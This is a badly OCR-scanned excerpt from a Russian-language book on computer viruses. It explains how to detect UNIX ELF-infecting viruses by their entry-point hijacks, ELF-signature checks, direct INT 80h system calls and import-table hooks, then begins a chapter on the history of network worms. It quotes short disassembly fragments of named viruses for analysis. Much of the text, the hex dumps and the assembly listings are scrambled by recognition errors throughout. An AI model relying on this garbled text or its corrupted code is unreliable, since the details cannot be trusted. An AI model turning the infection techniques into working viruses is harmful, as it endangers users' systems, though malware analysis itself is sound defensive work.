80 Глава 2. Вирусы в UNIX, или Гибель Тита внедрения связаны с риском необратимого искажения исполняемого а приводящего к его полной неработоспособности. Точка входа, «вылетай И'1а' за пределы секции .text, — явный признак вирусного заражения. Iiliis Во-вторых, анализ всякого подозрительного файла начинается в первуюо< - с окрестностей точки входа (и ею же обычно и заканчивается), поэтому цс симо от способа вторжения в файл вирусный код сразу же бросается в глаза В-третьих, точка входа — объект пристального внимания легиона визоров, сканеров, детекторов и всех прочих антивирусов. «исковых ре. Использовать точку входа для перехвата управления — слишком примитивно и, по мнению большинства создателей вирусных программ, даже позорно Со временные вирусы осваивают другие методики заражения, и закладываться на анализ точки входа может только наивный (вот так и рождаются байки о не- уловимых вирусах...). ПЕРЕХВАТ УПРАВЛЕНИЯ ПУТЕМ ВНЕДРЕНИЯ СВОЕГО КОДА В ОКРЕСТНОСТИ ТОЧКИ ВХОДА Многие вирусы никак не изменяют точку входа, по внедряют по данному адре- су команду перехода па свое тело, предварительно сохранив его оригинальное содержимое. Несмотря на кажущуюся элегантность этого алгоритма, он доволь- но капризен в работе и сложен в реализации. Начнем с того, что для сохране- ния оригинальной машинной инструкции, расположенной в точке входа, ви- рус должен определить ее длину, но без встроенного дизассемблера это сделать невозможно. Большинство вирусов ограничивается тем, что сохраняет первые 16 байт (мак- симально возможная длина машинной команды на платформе Intel), а затем вос- станавливает их обратно, так или иначе обходя запрет на модификацию кодово- го сегмента. Кто-то снабжает кодовый сегмент атрибутом write, делая его доступным для записи (если не трогать атрибуты секций, то кодовый сегмент все равно будет можно модифицировать, но I DA PRO об этом не расскажет, так как с атрибутами сегментов она работать не умеет), кто-то использует функцию mprotect для изменения атрибутов страниц на лету. И тот, и другой способ слиШ ком заметны, а инструкция перехода на тело вируса заметна без очереди. Более совершенные вирусы сканируют стартовую процедуру заражаемого ФаИ' в поисках инструкций call или jmp. Л найдя таковую — подменяют вызывав адрес на адрес своего тела. Несмотря на кажущуюся неуловимость, обнар} такой способ перехвата управления очень легко. Первое и главное — вирУс личие от легально вызываемых функций, никак не использует передаш11’'^^ в стеке аргументы. Он не имеет никаких понятий об их числе и наличии шинный анализ количества переданных аргументов немыслим без llllT^bf)biM в вирус полноценного дизассемблера, оснащенного мощным интеллект} <.!- анализатором). Вирус тщательно сохраняет все изменяемые регистры- ? ясь, что функции могут использовать регистровую передачу аргументов известным ему соглашением. Самое главное — при передаче управлеч p;1i гинальной функции вирус должен либо удалить с верхушки стека адрес
Вирусы в скриптах 81 (в противном случае их там окажется два), либо вызвать оригинальную функ- цию не командной call, но командой jmp. Для «честных» программ, написан- ных на языках высокого уровня, и то, и другое крайне нетипично, благодаря чему вирус оказывается немедленно разоблачен. Вирусы, перехватывающие управление в произвольной! точке программы (за- частую чрезвычайно удаленной от точки входа), выявить намного труднее, по- скольку приходится анализировать довольно большие, причем заранее не оп- ределенные объемы кода. Впрочем, с удалением от точки входа стремительно возрастает риск, что данная ветка программы никогда не получит управление, поэтому все известные мне вирусы не выходят за Гранины первого встретивше- гося нм ret. ОСНОВНЫЕ ПРИЗНАКИ ВИРУСОВ Искажение структуры исполняемых файлов — характерный, но недостаточный признак вирусного заражения. Быть может, это защита хитрая такая или заву- алированный способ самовыражения разработчика. К тому же некоторые ви- русы ухитряются внедриться в файл практически без искажений его структу- ры. Однозначный ответ дает лишь полное дизассемблирование исследуемого файла, однако это слишком трудоемкий способ, требующий усидчивости, глу- боких знаний операционной системы и неограниченного количества свободно- го времени. Поэтому на практике обычно прибегают к компромиссному вари- анту, сводящемуся к беглому просмотру дизассемблерпого листинга на предмет поиска основных признаков вирусного заражения. Большинство вирусов использует довольно специфический набор машинных команд и структур данных, практически никогда не встречающихся в «нормаль- ных» приложениях. Конечно, разработчик вируса при желании может все это скрыть и распознать зараженный код тогда не удастся. Но это в теории. Па прак- тике же вирусы обычно оказываются настолько тупы, что обнаруживаются за считанные доли секунды. Ведь чтобы заразить жертву, вирус прежде должен ее найти, отобрав среди всех кандидатов только файлы «своего» типа. Для определенности возьмем elf-файл. Тогда вирус будет вынужден считать его заголовок и сравнить четыре первых байта со строкой [ FELF, которой соответствует ASCII-последовательность 7F 45 4С 46. Конечно, если тело вируса зашифровано, вирус использует хеш- сравнение или же другие хитрые приемы программирования, строки ELF в теле зараженного файла не окажется, но более чем в половине всех существующих t’NIX-вирусов она все-таки есть, и этот прием, несмотря на свою изумитель- ную простоту, очень неплохо работает. Загрузите исследуемый файл в любой hex-редактор и попробуйте отыскать строку " IELF ". В зараженном файле таких строк будет две: одна - непосредствен- но в заголовке, другая — в кодовой секции или секции данных. Только не ис- пользуйте дизассемблер! Очень многие вирусы преобразуют строку JFELF «'^-разрядную целочисленную константу 464C457Fh, которая маскирует при- сутствие вируса, но при переключении в режим дампа сразу же «проявляется»
82 Глава 2. Вирусы в UNIX, или Гибель Тит- на экране. Далее приведен внешний вид файла, зараженного вирусом VirTool | Мтар.443, который использует именно такую методику (рис. 2.9). 11' 11J iun view н text:08048470 00 00 00 87 CA CO 30 89 -C6 50 31 CO 31 02 IE C4 text:08048480 ГЕ C4 50 51 53 41 51 41 41 51 50 52 88 5A 00 00 text:08048490 00 89 E3 CO 80 8a..£4...1£dffi,C0 59 5Й 0F 88 3E 81 text:080484A0 00 00 I-: 81 18(7! 45 « -46)01-' 85 5F 00 00 00 81 text:080484B0 78 04 01 01 01 00 0F 85-52 ¥980 00 81 78 10 02 text:080484C0 00 03 00 0F 85 45 00 00-00 83 78 14 01 0F 85 3B text:08048400 00 00 00 83 78 24 00 0F-85 31 00410 00 80 78 0C text:080484E0 00 0F 85 27 ЙЙ 00 00 88- 58 1C 0.1 03^1 66 88 48 text:080484F0 2C 83 3B 01 OF 85 02 00-00 00 89 OF 6&4ЙЭ 58 2A text:08048500 E2 EF 59 89 06 03 57 14-28 57 10 29 C7 F9.93 88 text:08048510 5B 00 00 00 CD 80 0F 83 C4 00 00 80 81 02 Bfi 01 text:08048520 00 00 88 50 00 00 00 88-50 00 89 01 CO 80 85 !exJ.text:080484A3 cmp dword ptr leax], "...ЗЛ-ДЙ(.pi?,[р* Ж >»QQQ^E1F 'Бх^.. .. Гх$.еЕ1.. .Дх?.. ,.-вЕ -. .AX^QiQfnu- .Г;0вЕе...й«Ж. >aVAir»Vfl*W^.r'a1" „С • “АвГ-.. .Б-пё" • -ДЦ-Йт-АЕИ . ,464C457FI>1 'IQAAQR'i loc_804850E 1Еф dword ptr leax+4], 10101b GW] loc_804850E 'ДПе- dword ptr Ieax*10h], 30002h ^ек" JllGr : 01Г1 rrfflH09w“-oB». ..Q " "►ftx.noJ-jS.. I4-"" " и-ЛРТИи-ИрТЙкГю" "•1ЕедПЕ-У11.. .Y-Й" "I*.. .Al.-AhO..."[ "Л .. .-APPPPPPPPPy •л jnz стр jnz стр 080484СЭ jnz loc_804850E I 1'9 66 88 48 30 39 7/ 10-0F 82 03 08 i.10 1)0 01 5F ' 1 10 66 83 78 2E E2 EE 5F-B9 BR 0.1 00 D0 29 СЕ 5E ' I FF 75 07 8B 50 18 89 55-07 89 ?0 18 89 EE 83 EE ' 1 07 ГС F3 114 8F 45 07 93-B8 5B 00 00 00 59 CD 80 1 B8 06 00 00 00 88 50 00-CD 80 CO B8 01 00 00 00 ' 1 BB 00 60 00 0P CD 80 90-90 90 90 90 98 90 90 90 ' >_804845-Ш Г* ос text :080484А9 !ех!ос text:080484AF !exJ осtext:080484В6 !eX! oc-text:080484BC ' !eX!'ос ‘ext :i----- .text:08v . text:080485A0 .text:080485B0 .text:080485C0 .text:080485D0 .text:080485E0 .text:080485F0 “-080484A0: sub Рис. 2.9. Фрагмент файла, зараженного вирусом VirTool.Linux.Mmap.443. В НЕХ-дампе легко обнаруживается строка ELF, используемая вирусом для поиска жертв «своего» типа Вирус Linux.Winter.343 (также известный под именем Lotek) по этой методик обнаружить не удается, поскольку он использует специальное математически преобразование, зашифровывая строку CELF на лету (листинг 2.14). Листинг 2.14. Фрагмент вируса Lotek, тщательно скрывающего свой интерес к elf-файлам .text:08048473 .text:08048478 .text:0804847A eax. 0B9B3BA81h -"ELF" (минус "ELF”) еах. ГеЬх2 верные четыре байта мертвы short 1 ос 804846L -» это не ELF mov add jnz Непосредственное значение B9B3BA81h, соответствующее текстовой строке Bl (в приведенном выше листинге оно выделено жирным шрифтом), Г11,елС Га^. ет собой не что иное, как строку OELF, преобразованную в 32-разрядную станту и умноженную на минус единицу. Складывая полученное значени^^ тырьмя первыми байтами жертвы, вирус получает ноль, если строки р и ненулевое значение в противном случае. Как вариант, вирус может дополнять эталонную строку CELF до едннинь^^, гда в его теле будет присутствовать последовательность 80 ВА ВЗ В9. Рс>ке 0. чаются циклические сдвиги на одну, две, три... и семь позиций в различ роны, неполные проверки (то есть проверки на совпадение двух или треХ и некоторые другие операции — все не перечислишь! Более уязвимым сточки зрения скрытности является механизм р<-'а- ' системпых вызовов. Вирус не может позволить себе тащить за собой в
83 vlibc, нрилинковапиую к нему статической компоновкой, поскольку су- '111<>Те Звание подобного монстра трудно оставить незаметным. Существует “^ько способов решения этой проблемы, и наиболее популярный из них к использованию native-API операционной системы. Поскольку пос- cli,v 'i является прерогативой особенностей реализации данной конкретной •1СД мы создатели UNIX де-факто отказались от .многочисленных попыток его СЯ тартизадии. В частности, в System V (и ее многочисленных клонах) обра- С енне к системным функциям происходит через дальний call по адресу 0007 -00000000, а в Linux это осуществляется через служебное прерывание INT 80h епечень номеров системных команд можно найти в файле /usr/include/asm/ unistd h). Таким образом, использование native-API существенно ограничивает ареал обитания вируса, делая его непереносимым. Честные программы в большинстве своем практически никогда не работают через native-API (хотя утилиты из комплекта поставки Free BSD 4.5 ведут себя именно так), поэтому наличие большого количества машинных команд INT 80h/ CALL 0007:0000000 (CD 80/9А 00 00 00 00 07 00) с высокой степенью вероятности свидетельствует о наличии вируса. Для предотвращения ложных срабатыва- ний (то есть обнаружения вируса там, где и следов его нет), вы должны не толь- ко обнаружить обращения к native-API, но и проанализировать последователь- ность их вызовов. Для вирусов характерна следующая цепочка системных команд: sysopen, sys lseek, oldmmap/sysmunmap, sys write, sys close, sysexit. Реже используются вызовы exec и fork. Их, в частности, использует вирус STAOG.4744. Вирусы VirTool.Linux.Mmap.443, VirTool.Linux.Elfwrsec.a, PolyEngine.Linux.LIME.poly, Linux.Winter.343 и ряд других обходятся без этого. Ниже приведен фрагмент файла, зараженного вирусом VirTool.Linux.Mmap.443 (рис. 2.10). Наличие незамаскированных вызовов INT 80h с легкостью разобла- чает агрессивную природу программного кода, указывая на склонность послед- него к саморазмножению. А вот так для сравнения выглядят системные вызовы «честной» программы — }шлиты cat из комплекта поставки Free BSD 4.5 (рис. 2.11). Инструкции пре- ^ан»я Пе Выбросаны по всему коду, а сгруппированы в собственных функ- ем Х (Х>е1)тках- Конечно, вирус тоже может «обмазать» системные вызовы сло- переходного кода, но вряд ли у него получится подделать характер оберток нкретного заражаемого файла. к>ТсдТ0РЫе (впР<>чем, довольно немногочисленные) вирусы так просто не сда- жеНие ^П()льзуют различные методики, затрудняющие их анализ и обнару- Чичес аиб°лсе талантливые (или, скорее, прилежные) разработчики дина- 3абрасКИ ГенеРиРУют инструкцию INT 80h/CALL 0007:00000000 на лету и, стцце се ,1а верхушку стека, скрытно передают ей управление. Как след- UfT 80h/rB Дизасссмблерном листинге исследуемой программы вызов INT 80h/ хК>жц0 0007:00000000 будет отсутствовать, и обнаружить такие вирусы Ч1ИхСя Лишь по многочисленным косвенным вызовам подпрограмм, находя- -1Ии пр11сСТеке‘ Это Действительно нелегко, так как косвенные вызовы в изоби- 1‘Мых а, ^Тствуют и в «честных» программах, а определение значений вызыва- 1рес°в представляет собой серьезную проблему (во всяком случае, при
84 Глава 2. Вирусы в UNIX, или Гибель Тита| статическом анализе). Вместе с тем таких вирусов пока существует НеМн (да и те — сплошь лабораторные), так что никаких поводов для паники п ° нет. Л вот шифрование критических к раскрытию участков вирусного т 3 встречается гораздо чаще. Однако для дизассемблера IDA PRO это не бог вес/ какая сложная проблема, и даже многоуровневая шифровка снимается безма лейшего умственного и физического напряжения. [Pi-------------------- text:08048455 Infect text:08048450 text10804845С text108O4845E text .-08O4845F text:08O48460 text108048462 text 108048464 text10804846A .text10804846D i.text10804846E ;.text 108048473 .text:08048475 text 108048477 text:08048479 '.text:0804847A I.text:0804847C i.text:0804847E .text.-08048480 .text 108048482 Htext 108048483 !.text:08048484 !.text 108048485 .text 108048486 Ltext 108048487 i.text 108048488 .text 108048489 .text:08048480 .text-.08048488 .text10804848C .text 108048491 .text 108048493 .text 108048495 .text 108048498 l08048455i Infect --------------- IDO View-0 ------- proc near мои------------eax, 5 xor edx. edx xor ecx, ecx inc ecx Xor.....ecx. 'C. int 80h test....ea'x",’ eax js locret.80485EO мои Iebp*01. eax xchg eax. ebx мои eax. 1.3h ..GOG. edx <<v.int 80h„.> mov .....esi. eax push eax xor eax, eax xor edx, edx inc ah inc ah push eax push ecx push ebx inc ecx push ecx inc ecx inc ecx push ecx push eax push edx mov eax, 50h jww—-----еЬх.л esp x^int 80h.J> add~Л esp. 18h test eax, eax ——:-----------7Г—2-[ ii-i CODE XKF. I-: sub.. 80484 4 ; LINUX - sys_open ; LINUX - sys„lseek ; LINUX - o!d_Mnap Рис. 2.10. Фрагмент файла, зараженного вирусом VirTool.Unux.Mmap.443, демаскирующим свое присутствие прямым обращением к native-API операционной системы Впрочем, на каждую старуху есть проруха, и IDA Pro тому не исключение. При нормальном развитии событий IDA Pro автоматически определяет имена вы зываемых функций, оформляя их как комментарии. Благодаря этому замена тельному обстоятельству для анализа исследуемого алгоритма нет нужды по стоянии лезть в справочник. Такие вирусы, как, например, Linux.ZipWorm, не мо. смириться с подобным положением дел и активно используют специальн^ приемы программирования, сбивающие дизассемблер с толку. Тот же Linux^ Worm проталкивает номера вызываемых функций через стек, что вводш в замешательство, лишая ее возможности определения имен последних (- тпнг 2.15). Листинг 2.15. Фрагмент вируса Linux.ZipWorm, активно и небезуспешно противостоящего дизассемблеру IDA PRO text:С8С483С push 13h text:080483С2 push 2 text:080483C4 sub ecx. ecx text:080483C6 pop edx
85 text: .text: Э80483С7 080483C8 pop int eax 80h Il EAX := 2. oto вызов fork . LINUX - «—IDA не смогла определить имя вызова! IDR View-R Г1♦08049270 •*e* 0804927° te* '08049270 еФ 080492 70 •le! 08049276 fee « 0804927В }ai 0804927R «t 08049270 «t 08049270 :!St:0804927B k’xt 0804’2/С «; «8049/7C f,.xt 08049271. text 08049281 text 08049284 text 08049284 ' text'080492.84 text-08049284 text:08049284 text:O8049284 text 108049284 text-08049280 text :08049.?8C text:O804928E . text:08O4928E .text;0804928E text:0804928E *-08049276-. sub 8049270*6 Slib_8049270 sub_8049270 loc„804927C: sub_8049284 sub_8049284 proc near lea int jb retn endp align 4 -------------------------- : CODE XREF: sub„8049C2O-3C?f; 1 st*.804967C*874p g eax. large ds:0H)h Г 20b : LINUX - ! short loc_8049268 1 jmp loc_80537E0 ; CODE XREF: Lib. .8049284 *3Xj align 4 proc near lea int jb retn endp ССЙЕ XREF sub 804887U . sub_80492E:0-l?Bl» . eax. large ds: 0B№ 80h : LINUX - short loc_8B4927C V Рис. 2.11. Фрагмент «честного» файла cat из комплекта поставки Free BSD, аккуратно размещающего native-API вызовы в функциях-обертках С одной стороЕ1Ы, вирус действительно добился поставленной перед ним цели, и дпзассемблернып листинге отсутствующими автокомментариями с первого приступа не возьмешь. Но давайте попробуем взглянуть на ситуацию пол дру- । им углом. Сам факт применения аптиотладочных приемов уже свидетельствует бели не о заражении, то, во всяком случае, о ненормальности ситуации. Так что за прошводействие анализу исследуемого файла вирусу приходится распла- чиваться ослабленной маскировкой (в программистских кулуарах по этому слу- чаю обычно говорят «из зараженного файла вирусные уши торчат»). 0 *Ult будут торчать еще и потому, что большинство вирусов никак не заботится «Че. ЭН.ИИ стаРтового кода или хотя бы плохонькой его имитации. В точке входа мальная1> ПРОГРаммы все1’Да (ну, или практически всегда) расположена нор- 311ават>ад ФУ,1К11ИЯ с классическим прологом и эпилогом, автоматически распо- Мая дизассемблером IDA Pro (листинг 2.16). Лнсгинг 2 IK п ^•16. Пример £;««« starl г-080480В8 нормальной стартовой функции с классическим прологом и эпилогом proc near *'№0480(58 г-080480В9 push ebp Xt-'0S0480BB mov ebp. esp ^*;0804813в sub esp. OCh ret endp
86 Глава 2. Вирусы в UNIX, или Гибель Титаник -------------------------------- В некоторых случаях стартовые функции передают бразды правления ] startjnain и заканчиваются по hit без ret. Это вполне нормальное явлец •* «Вполне», потому что очень многие вирусы, написанные на ассемблере, nOj^’ чают в «подарок» от линкера такой же стартовый код. Поэтому присутсдь' стартового кода в исследуемом файле не дает нам никаких оснований счцтатС его здоровым (листинг 2.17). 1 Листинг 2.17. Альтернативный пример нормальной стартовой функции text.08048330 public start text:08048330 start proc near text-.08048330 xor ebp. ebp text:08048332 pop esi text:08048333 mov ecx. esp text:08048335 and esp. 0FFFFFFF8h text .-08048338 push eax text .-08048339 push esp text: 0804833A push edx text: 0804833B push offset sub_804859C text:08048340 push offset sud_8C482BC text-.08048345 pusn ecx text-.08048346 push es'. text-.08048347 push offset loc_8048430 text-.08048340 call 11bc_start_mair. text: 08048351 hit text: 08048352 nep text: 08048353 cop text .08048353 start endp Большинство зараженных файлов выглядит иначе. В частности, стартовый код вируса PolyEngine.Linux.LIME.poly (листинг 2.18). Листинг 2.18. Стартовый код вируса PolyEngine.Unux.LIME.poly data:080499Cl LIMEJND: : Alternative name is ’main data:080499C1 mov eax. 4 data:080499C6 mov ebx. 1 data:080499CB mov ecx. offset genjnsg "Generates 50 [LIME] encrypte“’ data:08049930 mov edx. 20h data:080499D5 int 80h : LINUX - sys_write data-.08049907 mov ecx. 32h ПЕРЕХВАТ УПРАВЛЕНИЯ ПУТЕМ МОДИФИКАЦИИ ТАБЛИЦЫ ИМПОРТА [ I ор' Перехват управления, осуществляемый путем модификации таблицы г,г>|^ вцс заражаемого файла, — вероятно, самый громоздкий и неуклюжий спос° jfC.i дрения вирусной заразы, какой только есть. Забавно, но многие исслсД0** не имеют о нем вообще никакого представления. В elf-файлах испо-Ч*’^^ сложный, хотя и хорошо документированный способ импорта внеип1|,5<
Вирусывофиптах________________________________________________________ itiiii. Его подробное описание можно найти в спецификации elf-формата («Executable and Linkable Format - Portable Format Specification»), электрон- ную копию которого можно найти ио следующему адресу: www.ibiblio.org/pub/ historic-linux/ftp-archives/sunsite.unc.edu/Nov-06-1994/GCC/ELF.doc.tar.gz, здесь же мы сосредоточимся преимущественно на технической стороне вопроса. Классический механизм импорта внешних функций из/в elf-файлов в общем виде выглядит так: на первом этапе вызова импортируемой функции из секции .text вызывается «переходник», расположенный в секции .pit {Procedure Linkable Table) и ссылающийся, в свою очередь, па указател ь на функцию printf, расположенный в секции .got {Global Offset Tables), ассоциированной с табли- цей строк, содержащей имена вызываемых функций (или их хеши). Ниже приведена схема вызова функции printf утилитой 1 s, позаимствованной нз комплекта поставки Red Mat 5.0 (листинг 2.19). Листинг 2.19. Схема вызова функции printf утилитой Is lext:G8000E2D .sit.08С00А58 _printf ,p’.t:08C0OA58 .pit:C8C00A58 .pit:08000A58 _printf got:08006?8C off_800628C call _printf proc near jrnp ds:off_800628C endp dd offset printf extern:8006580 extrn printf:near : weak 0000065B: FF 00 6C 69-62 63 2E 73-6F 2E 35 00-73 74 70 63 у libc.S0.5 stpc 0000066B: 70 79 00 73-74 72 63 70-79 00 69 6F-63 74 6C 00 py strcpy ioctl 00C0067B: 70 72 69 6E-74 66 00 73-74 72 65 72-72 6F 72 CO printf strerror В какое место этой цепочки может внедриться вирус? Ну, прежде всего он мо- жет создать подложную таблицу строк, перехватывая вызовы всех интересу- ющих его функций. Чаще всего заражению подвергается функция printf/fprintf/ sprintf (поскольку без этой функции не обходится практически ни одна нро- |рамма) и функции файлового ввода/вывода, что автоматически обеспечивает прозрачный механизм поиска новых жертв для заражения. Вирусы-спутники поступают иначе, создавая специальную библиотеку-пере- хватчик, во всех заражаемых файлах. Поскольку IDA Pro при дизассемблиро- ваниц elf-файлов не отображает имя импортируемой библиотеки, заподозрить no-то неладное в этой ситуации нелегко. К счастью, HEX-редакторы еще ии- 0 не отменял и присутствие вируса распознается с первого взгляда... Ч* -Г
ЧАСТЬ II ЧЕРВИ Глава 3 ЖИЗНЕННЫЙ ЦИКЛ ЧЕРВЕЙ Глава 4 ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИ, в которой карма переполняющихся буферов медленно перетекает в Дао, подрывающее уязвимое приложение изнутри Глава 5 ПОБЕГ ЧЕРЕЗ БРАНДМАУЗЕР ПЛЮС ТЕРМИНАЛИЗАЦИЯ ВСЕЙ NT, к концу которой выясняется, что брандмаузер не такая уж и надежная штука
...червями принято называть сетевые вирусы, проникающие в за- раженные машины вполне естественным путем, без каких-либо действий со стороны пользователя. Они ближе всех остальных ви- русов подобрались к модели своих биологических прототипов и потому чрезвычайно разрушительны и опасны. От них не защи- щают никакие превентивные меры, антивирусные сканеры и вак- цины до сих нор остаются крайне неэффективными средствами борьбы. Нашествие червей невозможно предвидеть и нереально предотвратить. Но все-таки черви уязвимы. Чтобы одолеть червя, вы должны знать структуру его программ- ного кода, основные повадки, наиболее вероятные алгоритмы вне- дрения и распространения. Глобальная сеть — это настоящий ла- биринт, и вам понадобится его подробная карта с отметками секретных троп и черных ходов, используемых червями для скры- того проникновения в нервные узлы жертвы. Первым широко известным почтовым червем стал небезызвест- ный вирус Морриса, который наглядно продемонстрировал, какие последствия может иметь небрежное тестирование сетевых про- грамм массового использования. Но, как водится, жизнь нас ниче- му не учит, н, однажды наступив на грабли, мы даже не задумыва- емся их убрать. Короче, после Морриса никаких кардинальных изменений в от- ношении безопасности так и не произошло. Отчасти это объясня- ется тем, что новые черви долгое время не появлялись, создавая тем самым обманчивую иллюзию благополучия. Между тем дыры в программном обеспечении как были, так и остались. С течением времени они непрерывно мутировали, стремительно росли и без- удержно размножались. Лишь по счастливой случайности виру- сописатели не обращали па них никакого внимания. Но все хоро- шее райо или поздно кончается и...
ГЛАВА 3 ЖИЗНЕННЫЙ ЦИКЛ ЧЕРВЕЙ — Червь придет обязательно? — Обязательно. Френк Херберт. «Дюна» Исторически сложилось так, что титул первого Интернет-червя закрепился за так называемым «Вирусом Морриса», а некоторые даже присуждают ему зва- ние первого компьютерного вируса вообще. На самом же деле это утверждение неверно. Черви в изобилии водились в глобальных (локальных) сетях ешеД0 Морриса, а «заслуга» последнего состоит лишь в том, что ошибки, допушеННЬ1е при реализации вируса, привели к чрезмерной активности червя и, как слй ствие, колоссальному росту сетевого трафика, плотно загрузившего межсе^ вые узлы непосильным объемом работы. Случившийся паралич сети вьй массовую истерию сродни той, что сопровождалась недавней атакой на серверы. Тем не менее никаких уроков из случившегося человечество так^ извлекло. Ведущие разработчики ПО как не несли, так и не несут н,1ка^*тВо ветствепности за его качество и не предпринимают ничего, чтобы это к хоть немного повысить. Вместо того чтобы сосредоточиться на одной к ной версии и довести ее до ума, лидеры софтверной индустрии прсдп° вкладывать деньги в наращивание избы точной функциональности ве только приумножающей его дыры. Как ни печально, но эта тенденция ( сказать эпидемия) проникла и в мир UNIX’a. В 1992 году, если верить «Вирусной Энциклопедии» Евгения Касперс ...вирусы для не-IBM-PC и не-MS-DOS практически забыты: <<t)blPb,Lu К"' бальных сетях закрыты, ошибки исправлены, и сетевые вирусь1'
КонецзаШН^^--------------------------------------------------91 утверждение насчет отсутствия дыр — эТО сильно, но слишком уж неубедитель- но Многие из дыр, обнаруженных еще до червя Морриса, остаются не заткну- T1)iMii до С,1Х |10Р’не ГОВОРЯ уже о том, что буквально каждый день обнаружива- ются все новые. Короче, «дальше так жить нельзя». Анекдот. КОНЕЦ ЗАТИШЬЯ ПЕРЕД БУРЕЙ? Информационные бюллетени, выходящие в последнее время, все больше и боль- ше напоминают боевые сводки с полей сражений (табл. 3.1). Только за первые три года нового тысячелетия произошло более десятка разрушительных вирус- ных атак, в общей сложности поразивших несколько миллионов компьютеров. Более точную цифру привести затруднительно, поскольку всякое информапи- онпос агентство склонно оценивать размах эпидемии по-своему, и различия на пару порядков — вполне обычное явление. Но как бы там ни было, затишье, длившееся еще со времен Морриса, закончилось, и вирусописатели, словно проснувшиеся после долгой спячки, перешли в наступление. Давайте вспом- ним, как все это начиналось. Первой ласточкой, стремительно вылетевшей) из гнезда, стала Melissa, представ- ляющая собой обычный макровпрус, распространяющийся через электронную почту. Способностью к самостоя тельному размножению она не обладала и се- тевым червем в строгом смысле этого слова, очевидно, не являлась. Для под- держания жизнедеятельности вируса требовалось наличие большого количе- ства неквалифицированных пользователей, которые: • имеют установленный MS Word; • игнорируют предупреждения системы о наличии макросов в документе или же пользуются системой, в которой обработка макросов по умолчанию раз- решена; • пользуются адресной книгой почтового клиента Outlook Express; • все приходящие вложения открывают не глядя. И эти пользователи нашлись! По различным оценкам, Meliss’e удалось зара- зить от нескольких сотен тысяч до полутора миллионов машин, затронув все Развитые страны мира. Величайшая ошибка информационных агентств и антивирусных компаний со- стоит в том, что они в погоне за сенсацией сделали из Meliss’bi событие номер Один, чем раззадорили огромное количество программистов всех мастей, вру- чив им образец для подражания. Как это обычно и случается, на первых порах подражатели дальше тупого копирования не шли. Сеть наводнили полчища вирусов-вложений, скрывающих свое тело под маской тех или иных форматов, ерхом наглости стало появление вирусов, распространяющихся через испол- няемые файлы. И ведь находились такие пользователи, что их запускали... а-шообразные методы маскировки (вроде внедрения в исполняемый файл пиктограммы графического) появились значительно позже. Нашумевший
92 Глава 3.Жизненныйпи^^ Love Letter, прославившийся своим романтическим признанием в любви нической новизной не отличался и, так же как и его коллеги, распрост >• 1 через почтовые вложения, в которых па этот раз содержался Visual Basic's^10* Три миллиона зараженных машин — рекорд, который не смог побить даже Love San, — лишний раз свидетельствует о том, что рядовой американский жик не крестится даже после того, как гром трижды вдарит и охрипший ста рак с горы пишется. Более или менее квалифицированных пользователей (и уж тем более ппож сионалов!) существование почтовых червей совершенно не волновало и полагали, что находятся в абсолютной безопасности. Переломным моменту стало появление червя Kilez, использующего для своего распространения ошиб ку реализации плавающих фреймов в Internet Explorer’e. Заражение ироисхо дило в момент просмотра инфицированного письма, и сетевое сообщество не- медленно забило тревогу. Однако еще за год до этого было отмечено появление первого червя, самостоя- тельно путешествующего по сети и проникающего на заражаемые серверы че- рез дыру в Microsoft Internet Information Server и Sun Solaris Admin Suite. По некоторым данным, червю удалось поразить до нескольких тысяч машин (на две тысячи больше, чем червю Морриса). Для современных масштабов Сети это пустяк, пе стоящий даже упоминания. Короче говоря, вирус остался неза- меченным, а программное обеспечение — пеобновленным. Распла та за халатное отношение к безопасности пе заставила себя ждать, и бук- вально через пару месяцев появился новый вирус, носящий название Code Red. который вкупе со своей более поздней модификацией Code Red II уложил более миллиона узлов за короткое время. Джинн был выпушен из бутылки, и тысячи хакеров, вдохновленных успехом своих коллег, оторвали мышам хвост и засе- ли за клавиатуру. За два последующих года были найдены критические уязвимости в Ара^е и SQL-серверах и выращены специальные породы червей для их освоения, зультат, как водится, превзошел все ожидания. Сеть легла, и некоторые Да* стали поговаривать о скором конце Интернета и необходимости полной структуризации сети (хотя всего-то и требовалось уволить администра не установивших вовремя заплатки). Вершиной всему стала грандиозная дыра, найденная в системе упра^те>1 DCOM и распространяющаяся па весь модельный ряд NT-подоонЫХ (в первую очередь это сама NT, а также W2K, ХР п даже Windows 2 ац- факт, что данная уязвимость затрагивает не только серверы, но и Ра0*^)дотв°1’ ции (включая домашние компьютеры), обеспечил червю Love San И- ное поле для существования. А все потому, что подавляющее оолыпи аНцЫ>’ машних компьютеров и рабочих станций управляется неквалпфипир ой- персоналом, не собирающимся в ближайшее время ни обновлять ную систему, ни устанавливать брандмаузер, ни накладывать заплатку в системе безопасности, пи даже отключать этот никому не нужный |з1от- Для отключения DCOM можно воспользоваться утилитой DCOM
93 „ или несколько слов перед введением ————- п0 адресу http.7/grc.com/freepopular.htm, она же провери т вашу машину доступ*1 и даст цесКолько полезных рекомендаций по защите системы. ' . нас завтра — неизвестно, в любой момент может открыться новая цТо ждет внМОСТЬ> поражающая целое семейство операционных систем, М" , е чем соответствующие заплатки будут установлены, деструктивные " "^опенты червя (если таковые там будут) могут нанести такой урон, кото- 1<<)М „пгнет весь цивилизованный! мир во мрак и хаос... pi.iii поверю блица 3 1- ТорЮ — парад сетевых вирусов — от червя Морриса до наших дней Вирус Когда обнаружен Что поражал Механизмы распространения Сколько машин заразил Вирус Морриса 1988, ноябрь UNIX, VAX Отладочный люк в sendmail, переполнение буфера в finger, слабые пароли 6000 Melissa 1999 e-mail через MS Word Человеческий фактор 1200000 LoveLetter 2000, май e-mail через VBS Человеческий фактор 3 000000 Klez 2002, июнь e-mail через Уязвимость в IE 1000000 баг в IE с IFRAME Sadmind/IIS 2001, май Sun Переполнение буфера 8000 Solaris/IIS в Sun Solaris AdminSuite/IIS Code Red I/II 2001, июль ISS Переполнение буфера в IIS 1000000 Nimda 2001, ISS Переполнение буфера 2200000 сентябрь в IIS, слабые пароли и др. Slapper Slammer 2002, июль LINUX Apache Переполнение буфера в OpenSSL 20000 2003, январь MS SQL Переполнение буфера в SQL 300 000 Love San 2003, август NT/2000/ Переполнение буфера 1000 000 (???) —1 — - - XP/2003 в DCOM ИНИЦИАЛИЗАЦИЯ, или несколько Л°в ПЕРЕД ВВЕДЕНИЕМ Ы’ когда пишутся эти строки, в левом нижнем углу компьютера ле- ходяцМИГаСг глаз°к персонального брандмаузера, фильтрующего пакеты, при- П1тука11'е 110 сотовому телефону через GPRS (между прочим, очень хорошая VT<’.My " РекоменДую!). Эпизодически — не чаше чем три-пять раз в день — в си- И 